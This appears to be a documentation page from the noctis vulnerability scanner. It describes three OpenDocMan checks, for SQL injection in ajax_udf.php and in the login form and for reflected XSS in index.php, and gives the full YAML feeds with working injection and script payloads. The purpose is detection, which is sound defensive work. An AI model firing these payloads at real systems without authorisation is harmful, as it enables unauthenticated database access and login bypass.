OpenDocMan — 3 vulnerability checks
noctis ships 3 vulnerability checks for OpenDocMan, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
OpenDocMan ajax_udf.php 'add_value' SQL Injection
| CVE | CVE-2014-1945 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/opendocman/CVE-2014-1945.yaml |
Tests OpenDocMan 1.2.7.1 and earlier for the unauthenticated SQL injection in ajax_udf.php, which appends the add_value parameter to a "SELECT * FROM" query and prints the second column of every returned row. In the web root and in the /opendocman, /odm and /docman directories, the feed requests ajax_udf.php with an add_value that selects from a derived table computing the product of two random numbers, written with comments instead of spaces so the space stripping added in 1.2.7.1 does not break it. The finding is reported only when the computed marker comes back in the page; the product is never sent, so a page that merely echoes the request is not reported. Nothing is written to the database.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/ajax_udf.php?q=1&add_value=%28SELECT%2F%2A%2A%2F1%2CCONCAT%280x4e4f43544953%2… - Parses / computes the next value with a Rhai script
- Checks
prooffor^NOCTIS[0-9]+END$→ finding QoD 97: OpenDocMan ajax_udf.php 'add_value' SQL Injection (CVE-2014-1945)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-1945
- https://www.htbridge.com/advisory/HTB23202
- https://github.com/opendocman/opendocman/compare/1.2.7.1...1.2.7.2
Feed source — tests/vulnerabilities/opendocman/CVE-2014-1945.yaml
# OpenDocMan ajax_udf.php 'add_value' SQL injection — CVE-2014-1945
#
# OpenDocMan up to 1.2.7.1 builds the query `SELECT * FROM <add_value>` in
# ajax_udf.php from the raw add_value GET parameter, without authentication,
# and prints column 2 of every returned row as an <option> of the "primary
# type" drop-down (HTB23202). 1.2.7.2 only runs the query when add_value is the
# name of an existing user-defined-field table (whitelist read from odm_udf).
#
# Detection (benign, read-only), per candidate install directory
# ("", /opendocman, /odm, /docman):
# GET <dir>/ajax_udf.php?q=1&add_value=(SELECT/**/1,CONCAT(0x4e4f43544953,
# <a>*<b>,0x454e44))noctis_q_x
# The database computes NOCTIS<a*b>END (two random 6-digit operands) and the
# page prints it as an option. The product never appears in the request, so
# a page that only reflects add_value is not reported. QoD 97.
#
# Improvements over the source NASL (which sends
# add_value=odm_user%20UNION%20SELECT%201,0x53514c...,3,4,5,6,7,8,9):
# - 1.2.7.1 strips every space from add_value and only runs the query when
# add_value has a third "_"-separated part; the NASL payload loses its
# spaces ("odm_userUNIONSELECT...") and has no third part, so 1.2.7.1 —
# the version the NASL names as vulnerable — is missed. The feed uses
# /**/ instead of spaces and the derived-table alias noctis_q_x supplies
# the third part; it works on 1.2.7.0 and 1.2.7.1 alike (checked on
# MariaDB 10.11 with a reconstructed sink of both versions).
# - No dependence on the table prefix (odm_) or on the 9 columns of
# odm_user: the derived table brings its own two columns.
# - Computed random marker instead of a fixed hex string.
# - The NASL tests only the detected install directory; the feed probes
# the common ones itself.
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_open_doc_man_65775.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103913, GPL-2.0-only).
uid: 5f686cc2-f910-4a1b-9a3a-a19cfc0c1464
name: "OpenDocMan ajax_udf.php 'add_value' SQL Injection (CVE-2014-1945)"
description: |
Tests OpenDocMan 1.2.7.1 and earlier for the unauthenticated SQL injection
in ajax_udf.php, which appends the add_value parameter to a
"SELECT * FROM" query and prints the second column of every returned row.
In the web root and in the /opendocman, /odm and /docman directories, the
feed requests ajax_udf.php with an add_value that selects from a derived
table computing the product of two random numbers, written with comments
instead of spaces so the space stripping added in 1.2.7.1 does not break
it. The finding is reported only when the computed marker comes back in the
page; the product is never sent, so a page that merely echoes the request
is not reported. Nothing is written to the database.
cves: [CVE-2014-1945]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [opendocman, document-management, php, mysql, sqli, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-1945"
- "https://www.htbridge.com/advisory/HTB23202"
- "https://github.com/opendocman/opendocman/compare/1.2.7.1...1.2.7.2"
# OpenVAS/Greenbone NASL 2014/gb_open_doc_man_65775.nasl (GPL-2.0-only)
steps:
# Random operands; the expected marker is computed locally.
- id: mint
action: script
code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
store_as: m
- id: mint-marker
action: script
code: '"NOCTIS" + (m.a * m.b) + "END"'
store_as: marker
# ── Loop group: every step below runs once per candidate install dir ─────
- id: init-sq-r
action: set_var
var_name: sq_r
var_value: {status: 0, body: ""}
loop:
over: ["", "/opendocman", "/odm", "/docman"]
var: dir
# add_value=(SELECT/**/1,CONCAT(0x4e4f43544953,a*b,0x454e44))noctis_q_x
# (0x4e4f43544953 = "NOCTIS", 0x454e44 = "END"; no space, no quote)
- id: inject
action: http_request
method: GET
path: "{{dir}}/ajax_udf.php?q=1&add_value=%28SELECT%2F%2A%2A%2F1%2CCONCAT%280x4e4f43544953%2C{{m.a}}%2A{{m.b}}%2C0x454e44%29%29noctis_q_x"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: sq_r
- id: verdict
action: script
code: |
if type_of(sq_r.body) == "string" && stridx(sq_r.body, marker) >= 0 { marker } else { "" }
store_as: proof
- id: report
action: match
source: proof
pattern: "^NOCTIS[0-9]+END$"
on_match:
finding:
title: "OpenDocMan ajax_udf.php 'add_value' SQL Injection (CVE-2014-1945)"
description: "An unauthenticated GET to ajax_udf.php with an add_value selecting from an injected derived table made the database compute the product of two random numbers, which came back in the page. Any query the database user may run can be injected the same way, including reading the odm_user table with the account password hashes."
remediation: "Upgrade OpenDocMan to 1.2.7.2 or later, which only queries add_value when it names an existing user-defined-field table, and restrict access to the application until then."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/ajax_udf.php?q=1 with add_value=(SELECT/**/1,CONCAT(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44))noctis_q_x returned the database-computed marker {{proof}}"
stop: trueOpenDocMan index.php login SQL injection
| CVE | CVE-2009-3788, CVE-2009-3801 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/opendocman/opendocman-login-sqli.yaml |
Looks for the OpenDocMan login page (index.php with the frmuser field) in the web root and in /opendocman, /OpenDocMan, /odm and /docman, then tests the user name and the password fields of the login form separately. For each field it posts a login whose value closes the SQL string and adds EXTRACTVALUE() over the product of two random numbers: when the page prints the database error carrying that computed product, the field is evaluated inside the login SQL query. When this proof does not come back, a value ending with one quote must print the application's "Error in query" page with a MySQL syntax error while the same value with a doubled quote must not. The user name and the password field are reported as separate findings. When neither field is confirmed, an OpenDocMan version below 1.2.5.2 shown in the page footer is reported with lower confidence. No login is performed and no data is read or changed.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/index.phpwith a crafted body - HTTP(S) request
POST {{dir}}/index.phpwith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/index.phpwith a crafted body - HTTP(S) request
POST {{dir}}/index.phpwith a crafted body - HTTP(S) request
POST {{dir}}/index.phpwith a crafted body - HTTP(S) request
POST {{dir}}/index.phpwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
rv.abfor.→ finding QoD 97: OpenDocMan index.php SQL injection (frmuser) - Checks
rv.abfor.→ finding QoD 75: OpenDocMan index.php SQL injection (frmuser) - Checks
rv.cdfor.→ finding QoD 97: OpenDocMan index.php SQL injection (frmpass) - … and 3 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-3788
- https://nvd.nist.gov/vuln/detail/CVE-2009-3801
- https://github.com/opendocman/opendocman/compare/1.2.5.1...1.2.5.2
- http://www.securityfocus.com/bid/36777
Feed source — tests/vulnerabilities/opendocman/opendocman-login-sqli.yaml
# OpenDocMan 1.2.5 index.php login SQL injection
# (CVE-2009-3788: frmuser / Username, CVE-2009-3801: frmpass / Password).
#
# Vulnerable code (OpenDocMan 1.2.5 / 1.2.5.1, index.php, upstream git tag 1.2.5.1):
# $frmuser = $_POST['frmuser']; $frmpass = $_POST['frmpass'];
# $query = "SELECT id, username, password FROM user WHERE username = '$frmuser'
# AND password = password('$frmpass')";
# $result = mysql_query("$query") or die ("Error in query: $query. " . mysql_error());
# (valid_username() only requires frmuser to start with a letter or digit, and the
# dataDir must be writable for the query to run.) 1.2.5.2 passes $_GET / $_POST /
# $_REQUEST through sanitize() (cleanInput() + mysql_real_escape_string()) in
# config.php; later releases keep an equivalent sanitizer.
#
# Detection, per candidate directory ("", /opendocman, /OpenDocMan, /odm, /docman):
# 1. GET <dir>/index.php must show the OpenDocMan login form (frmuser field and the
# "OpenDocMan" text of the page / footer).
# 2. Error-based computed proof, one request per field, no login performed:
# frmuser = noctis<r>' AND EXTRACTVALUE(1,CONCAT(0x7e,<a>*<b>))-- -
# frmpass = <r>') AND EXTRACTVALUE(1,CONCAT(0x7e,<c>*<d>))-- -
# die() prints the MySQL error, which carries "XPATH syntax error: '~<product>'"
# — the product is computed by the database and never sent. QoD 97.
# 3. Fallback when that proof does not come back for a field (MySQL 5.0 has no
# EXTRACTVALUE): quote-parity pair — a single trailing quote must print the
# application's "Error in query: SELECT ..." page with a MySQL syntax error, the
# same value with a doubled quote (a valid SQL literal) must not. QoD 75.
# 4. Footer "OpenDocMan v<version>" below 1.2.5.2 with no injection confirmed:
# version-only finding, QoD 70 (magic_quotes_gpc on, errors hidden, dataDir not
# writable...).
#
# Better than the reference check (OpenVAS/Greenbone NVT
# 2009/gb_opendocman_xss_n_sql_inj_vuln.nasl, OID 1.3.6.1.4.1.25623.1.0.900885,
# GPL-2.0-only), which POSTs frmuser=admin' OR '1'='1&frmpass= and reports a
# "Location: out.php" redirect:
# - no login: the reference check opens a session as "admin", and only when an
# account named admin exists and the query returns exactly one row
# (mysql_num_rows() == 1); the computed error proof needs no account at all;
# - both CVEs are tested, each on its own field (the reference check only tests
# frmuser), with per-finding cves;
# - a random computed marker instead of a login redirect, and a quote-parity
# control for the fallback;
# - the candidate install directories are probed directly.
#
# CVSS: NVD v2 7.5 for both CVEs (no v3 score).
uid: d2bc20c7-7d91-4ede-beb0-f3837a274d30
name: "OpenDocMan index.php login SQL injection"
description: >-
Looks for the OpenDocMan login page (index.php with the frmuser field) in the web
root and in /opendocman, /OpenDocMan, /odm and /docman, then tests the user name
and the password fields of the login form separately. For each field it posts a
login whose value closes the SQL string and adds EXTRACTVALUE() over the product of
two random numbers: when the page prints the database error carrying that computed
product, the field is evaluated inside the login SQL query. When this proof does
not come back, a value ending with one quote must print the application's
"Error in query" page with a MySQL syntax error while the same value with a
doubled quote must not. The user name and the password field are reported as
separate findings. When neither field is confirmed, an OpenDocMan version below
1.2.5.2 shown in the page footer is reported with lower confidence. No login is
performed and no data is read or changed.
category: sqli
cves: [CVE-2009-3788, CVE-2009-3801]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [opendocman, document-management, php, mysql, sqli, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-3788"
- "https://nvd.nist.gov/vuln/detail/CVE-2009-3801"
- "https://github.com/opendocman/opendocman/compare/1.2.5.1...1.2.5.2"
- "http://www.securityfocus.com/bid/36777"
# OpenVAS/Greenbone NASL 2009/gb_opendocman_xss_n_sql_inj_vuln.nasl (GPL-2.0-only)
steps:
# Random operands and value prefix shared by every directory.
- id: gen
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let c = rand_int(100000, 999999);
let d = rand_int(100000, 999999);
#{ a: a, b: b, c: c, d: d, ab: "" + (a * b), cd: "" + (c * d), r: rand_str(8) }
store_as: rv
# Loop group: every following step runs once per directory. Pre-initialise the
# stored results so a failed request never leaves them undefined or holding the
# previous directory's reply.
- id: init-page
action: set_var
var_name: page
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/opendocman", "/OpenDocMan", "/odm", "/docman"]
- id: init-uxv
action: set_var
var_name: uxv
var_value: {status: 0, body: ""}
- id: init-pxv
action: set_var
var_name: pxv
var_value: {status: 0, body: ""}
- id: init-uq
action: set_var
var_name: uq
var_value: {status: 0, body: ""}
- id: init-uqc
action: set_var
var_name: uqc
var_value: {status: 0, body: ""}
- id: init-pq
action: set_var
var_name: pq
var_value: {status: 0, body: ""}
- id: init-pqc
action: set_var
var_name: pqc
var_value: {status: 0, body: ""}
- id: login-page
action: http_request
method: GET
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: page
- id: gate
action: script
code: |
let b = if type_of(page.body) == "string" { page.body } else { "" };
let ok = page.status == 200 && ereg("name=[\"']?frmuser[\"' >]", b, true)
&& ereg("OpenDocMan", b);
let vm = eregmatch("OpenDocMan v([0-9]+(\\.[0-9]+)+)", b);
let ver = if ok && vm.len() > 1 { vm[1] } else { "" };
// Releases below 1.2.5.2: 0.x, 1.0.x, 1.1.x, 1.2, 1.2.0-1.2.4.x, 1.2.5, 1.2.5.0, 1.2.5.1.
let old = ereg("^(0(\\.[0-9]+)*|1\\.[01](\\.[0-9]+)*|1\\.2(\\.[0-4](\\.[0-9]+)*)?|1\\.2\\.5(\\.[01])?)$", ver);
#{ ok: ok, ver: ver, old: old }
store_as: fp
# ── error-based computed proof, user name field (CVE-2009-3788) ──
- id: user-extractvalue
action: http_request
method: POST
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "fp.ok"
headers:
Content-Type: "application/x-www-form-urlencoded"
Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/index.php"
body: "frmuser=noctis{{rv.r}}%27+AND+EXTRACTVALUE%281%2CCONCAT%280x7e%2C{{rv.a}}%2A{{rv.b}}%29%29--+-&frmpass={{rv.r}}&login=Enter"
store_as: uxv
# ── error-based computed proof, password field (CVE-2009-3801) ──
- id: pass-extractvalue
action: http_request
method: POST
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "fp.ok"
headers:
Content-Type: "application/x-www-form-urlencoded"
Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/index.php"
body: "frmuser=noctis{{rv.r}}&frmpass={{rv.r}}%27%29+AND+EXTRACTVALUE%281%2CCONCAT%280x7e%2C{{rv.c}}%2A{{rv.d}}%29%29--+-&login=Enter"
store_as: pxv
- id: xv-verdict
action: script
code: |
fn xpath(r, prod) {
type_of(r) == "map" && type_of(r.body) == "string"
&& ereg("XPATH syntax error: (?:'|�?39;|'|')?~" + prod + "([^0-9]|$)", r.body)
}
#{ u: fp.ok && xpath(uxv, rv.ab), p: fp.ok && xpath(pxv, rv.cd) }
store_as: xv
# ── quote-parity fallback, only for a field without the computed proof ──
- id: user-quote
action: http_request
method: POST
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "fp.ok && !xv.u"
headers:
Content-Type: "application/x-www-form-urlencoded"
Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/index.php"
body: "frmuser=noctis{{rv.r}}%27&frmpass={{rv.r}}&login=Enter"
store_as: uq
- id: user-quote-control
action: http_request
method: POST
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "fp.ok && !xv.u"
headers:
Content-Type: "application/x-www-form-urlencoded"
Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/index.php"
body: "frmuser=noctis{{rv.r}}%27%27&frmpass={{rv.r}}&login=Enter"
store_as: uqc
- id: pass-quote
action: http_request
method: POST
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "fp.ok && !xv.p"
headers:
Content-Type: "application/x-www-form-urlencoded"
Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/index.php"
body: "frmuser=noctis{{rv.r}}&frmpass={{rv.r}}%27&login=Enter"
store_as: pq
- id: pass-quote-control
action: http_request
method: POST
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "fp.ok && !xv.p"
headers:
Content-Type: "application/x-www-form-urlencoded"
Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/index.php"
body: "frmuser=noctis{{rv.r}}&frmpass={{rv.r}}%27%27&login=Enter"
store_as: pqc
- id: verdict
action: script
code: |
// The application's die() page: "Error in query: SELECT ... noctis<r> ...
// <MySQL syntax error>".
fn sql_err(r, tag) {
type_of(r) == "map" && type_of(r.body) == "string"
&& ereg("Error in query: ?SELECT ", r.body)
&& stridx(r.body, tag) >= 0
&& ereg("error in your SQL syntax", r.body)
}
// Control answered normally: a reply, without the "Error in query" page.
fn clean(r) {
type_of(r) == "map" && r.status >= 200 && r.status < 400
&& type_of(r.body) == "string" && !ereg("Error in query", r.body)
}
let tag = "noctis" + rv.r;
let u75 = fp.ok && !xv.u && sql_err(uq, tag) && clean(uqc);
let p75 = fp.ok && !xv.p && sql_err(pq, tag) && clean(pqc);
let any = xv.u || xv.p || u75 || p75;
#{ u97: xv.u, p97: xv.p, u75: u75, p75: p75, found: any,
v70: fp.ok && !any && fp.old, ver: fp.ver }
store_as: v
- id: user-confirmed
action: match
source: rv.ab
pattern: "."
condition: "v.u97"
on_match:
finding:
cves: [CVE-2009-3788]
title: "OpenDocMan index.php SQL injection (frmuser)"
description: "The OpenDocMan login (index.php) concatenates the frmuser (user name) field into its SQL query without escaping, and prints the database error. An unauthenticated attacker can run arbitrary SQL, read the user table with its password hashes, and bypass the login."
confidence_delta: 0.65
qod: 97
evidence: "POST {{dir}}/index.php with frmuser=noctis{{rv.r}}' AND EXTRACTVALUE(1,CONCAT(0x7e,{{rv.a}}*{{rv.b}}))-- - printed the MySQL error XPATH syntax error: '~{{rv.ab}}' carrying the product computed by the database."
remediation: "Upgrade OpenDocMan to 1.2.5.2 or later (current releases use escaped parameters), and restrict access to the application until then."
- id: user-quote-confirmed
action: match
source: rv.ab
pattern: "."
condition: "v.u75"
on_match:
finding:
cves: [CVE-2009-3788]
title: "OpenDocMan index.php SQL injection (frmuser)"
description: "The OpenDocMan login (index.php) concatenates the frmuser (user name) field into its SQL query without escaping, and prints the database error. An unauthenticated attacker can run arbitrary SQL, read the user table with its password hashes, and bypass the login."
confidence_delta: 0.50
qod: 75
evidence: "POST {{dir}}/index.php with frmuser=noctis{{rv.r}}' printed the \"Error in query: SELECT ...\" page with a MySQL syntax error; the same user name with a doubled quote (noctis{{rv.r}}'') was answered without a query error."
remediation: "Upgrade OpenDocMan to 1.2.5.2 or later (current releases use escaped parameters), and restrict access to the application until then."
- id: pass-confirmed
action: match
source: rv.cd
pattern: "."
condition: "v.p97"
on_match:
finding:
cves: [CVE-2009-3801]
title: "OpenDocMan index.php SQL injection (frmpass)"
description: "The OpenDocMan login (index.php) concatenates the frmpass (password) field into its SQL query without escaping, and prints the database error. An unauthenticated attacker can run arbitrary SQL, read the user table with its password hashes, and bypass the login."
confidence_delta: 0.65
qod: 97
evidence: "POST {{dir}}/index.php with frmpass={{rv.r}}') AND EXTRACTVALUE(1,CONCAT(0x7e,{{rv.c}}*{{rv.d}}))-- - printed the MySQL error XPATH syntax error: '~{{rv.cd}}' carrying the product computed by the database."
remediation: "Upgrade OpenDocMan to 1.2.5.2 or later (current releases use escaped parameters), and restrict access to the application until then."
- id: pass-quote-confirmed
action: match
source: rv.cd
pattern: "."
condition: "v.p75"
on_match:
finding:
cves: [CVE-2009-3801]
title: "OpenDocMan index.php SQL injection (frmpass)"
description: "The OpenDocMan login (index.php) concatenates the frmpass (password) field into its SQL query without escaping, and prints the database error. An unauthenticated attacker can run arbitrary SQL, read the user table with its password hashes, and bypass the login."
confidence_delta: 0.50
qod: 75
evidence: "POST {{dir}}/index.php with frmpass={{rv.r}}' printed the \"Error in query: SELECT ...\" page with a MySQL syntax error; the same password with a doubled quote ({{rv.r}}'') was answered without a query error."
remediation: "Upgrade OpenDocMan to 1.2.5.2 or later (current releases use escaped parameters), and restrict access to the application until then."
- id: version-only
action: match
source: v.ver
pattern: "."
condition: "v.v70"
on_match:
finding:
title: "OpenDocMan index.php SQL injection (version {{v.ver}})"
description: "The OpenDocMan login page reports a version below 1.2.5.2, whose index.php puts the frmuser and frmpass fields into the login SQL query without escaping. The injection was not confirmed on this host (magic_quotes_gpc, hidden database errors or an unwritable data directory can block the test requests); the finding rests on the version only."
confidence_delta: 0.40
qod: 70
evidence: "{{dir}}/index.php shows the OpenDocMan login form with the footer \"OpenDocMan v{{v.ver}}\" (below 1.2.5.2); the injection requests were not confirmed."
remediation: "Upgrade OpenDocMan to 1.2.5.2 or later, and restrict access to the application until then."
# One install reported: stop the directory loop.
- id: done
action: match
source: rv.ab
pattern: "."
condition: "v.found || v.v70"
on_match:
stop: trueOpenDocMan index.php 'last_message' Cross-Site Scripting
| CVE | CVE-2009-3789 |
|---|---|
| Severity | medium · CVSS 4.3 |
| Category | xss — XSS |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/opendocman/CVE-2009-3789.yaml |
Looks for the OpenDocMan login page (index.php with the frmuser field) in the web root and in /opendocman, /OpenDocMan, /odm and /docman, then requests the same page with a last_message parameter holding a script element with a random marker. The finding is reported when the exact script element comes back unescaped in the page, which lets an attacker run script in the browser of a user who follows a crafted link. The request is a plain GET without login; nothing is stored on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php?last_message=%3Cscript%3Ealert%28%2F{{rv.t}}%2F%29%3C%2Fscript%3E - Parses / computes the next value with a Rhai script
- Checks
prooffor^<script>alert\(/noctis[a-z0-9]+/\)</script>$→ finding QoD 75: OpenDocMan index.php 'last_message' Cross-Site Scripting (CVE-2009-3789)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-3789
- https://github.com/opendocman/opendocman/compare/1.2.5.1...1.2.5.2
- http://www.securityfocus.com/bid/36777
Feed source — tests/vulnerabilities/opendocman/CVE-2009-3789.yaml
# OpenDocMan 1.2.5 index.php 'last_message' reflected cross-site scripting — CVE-2009-3789
#
# Vulnerable code (OpenDocMan 1.2.5 / 1.2.5.1, index.php, upstream git tag 1.2.5.1):
# if (!isset($_REQUEST['last_message'])) { $_REQUEST['last_message']=''; }
# echo $_REQUEST['last_message'];
# before any output and before the login check, so the parameter is written raw
# into the unauthenticated login page. 1.2.5.2 removes the echo from index.php and
# strips tags from every GET/POST/REQUEST value (cleanInput() in config.php).
# CVE-2009-3789 also lists last_message in add.php, toBePublished.php and admin.php,
# PATH_INFO on several pages and the caller parameter of user.php; those pages need
# a logged-in session and are not tested.
#
# Detection, per candidate directory ("", /opendocman, /OpenDocMan, /odm, /docman):
# 1. GET <dir>/index.php must show the OpenDocMan login form.
# 2. GET <dir>/index.php?last_message=<script>alert(/noctis<rand>/)</script>
# → the exact script element, unescaped, must be in the reply. No quote in the
# payload, so magic_quotes_gpc does not change it. QoD 75.
#
# Compared with the reference check (OpenVAS/Greenbone NVT
# 2009/gb_opendocman_xss_n_sql_inj_vuln.nasl, OID 1.3.6.1.4.1.25623.1.0.900885,
# GPL-2.0-only), which sends <script>alert(1)</script> to the detected directory only
# after its SQL injection test failed: a random marker instead of the fixed alert(1),
# the OpenDocMan login form required on the same directory, and the candidate install
# directories probed directly.
#
# CVSS: NVD v2 4.3 (no v3 score).
uid: 760602bd-e499-40ae-922f-3b881e1b1bfa
name: "OpenDocMan index.php 'last_message' Cross-Site Scripting (CVE-2009-3789)"
description: >-
Looks for the OpenDocMan login page (index.php with the frmuser field) in the web
root and in /opendocman, /OpenDocMan, /odm and /docman, then requests the same page
with a last_message parameter holding a script element with a random marker. The
finding is reported when the exact script element comes back unescaped in the page,
which lets an attacker run script in the browser of a user who follows a crafted
link. The request is a plain GET without login; nothing is stored on the server.
category: xss
cves: [CVE-2009-3789]
cvss: 4.3
severity: medium
confidence_base: 0.30
tags: [opendocman, document-management, php, xss, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-3789"
- "https://github.com/opendocman/opendocman/compare/1.2.5.1...1.2.5.2"
- "http://www.securityfocus.com/bid/36777"
# OpenVAS/Greenbone NASL 2009/gb_opendocman_xss_n_sql_inj_vuln.nasl (GPL-2.0-only)
steps:
- id: gen
action: script
code: |
let t = "noctis" + rand_str(10);
#{ t: t, want: "<script>alert(/" + t + "/)</script>" }
store_as: rv
# Loop group: every following step runs once per directory.
- id: init-page
action: set_var
var_name: page
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/opendocman", "/OpenDocMan", "/odm", "/docman"]
- id: init-refl
action: set_var
var_name: refl
var_value: {status: 0, body: ""}
- id: login-page
action: http_request
method: GET
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: page
- id: gate
action: script
code: |
let b = if type_of(page.body) == "string" { page.body } else { "" };
#{ ok: page.status == 200 && ereg("name=[\"']?frmuser[\"' >]", b, true)
&& ereg("OpenDocMan", b) }
store_as: fp
# last_message=<script>alert(/noctis<rand>/)</script>
- id: reflect
action: http_request
method: GET
path: "{{dir}}/index.php?last_message=%3Cscript%3Ealert%28%2F{{rv.t}}%2F%29%3C%2Fscript%3E"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "fp.ok"
store_as: refl
- id: verdict
action: script
code: |
if fp.ok && refl.status == 200 && type_of(refl.body) == "string"
&& stridx(refl.body, rv.want) >= 0 { rv.want } else { "" }
store_as: proof
- id: report
action: match
source: proof
pattern: "^<script>alert\\(/noctis[a-z0-9]+/\\)</script>$"
on_match:
finding:
title: "OpenDocMan index.php 'last_message' Cross-Site Scripting (CVE-2009-3789)"
description: "The OpenDocMan login page (index.php) writes the last_message parameter into the page without encoding, before any login. A crafted link runs attacker-supplied script in the browser of the user who opens it, in the context of the OpenDocMan site (session theft, actions as that user)."
confidence_delta: 0.50
qod: 75
evidence: "GET {{dir}}/index.php?last_message=<script>alert(/{{rv.t}}/)</script> returned the script element unescaped: {{proof}}"
remediation: "Upgrade OpenDocMan to 1.2.5.2 or later, which no longer echoes last_message on the login page and strips tags from request parameters."
stop: true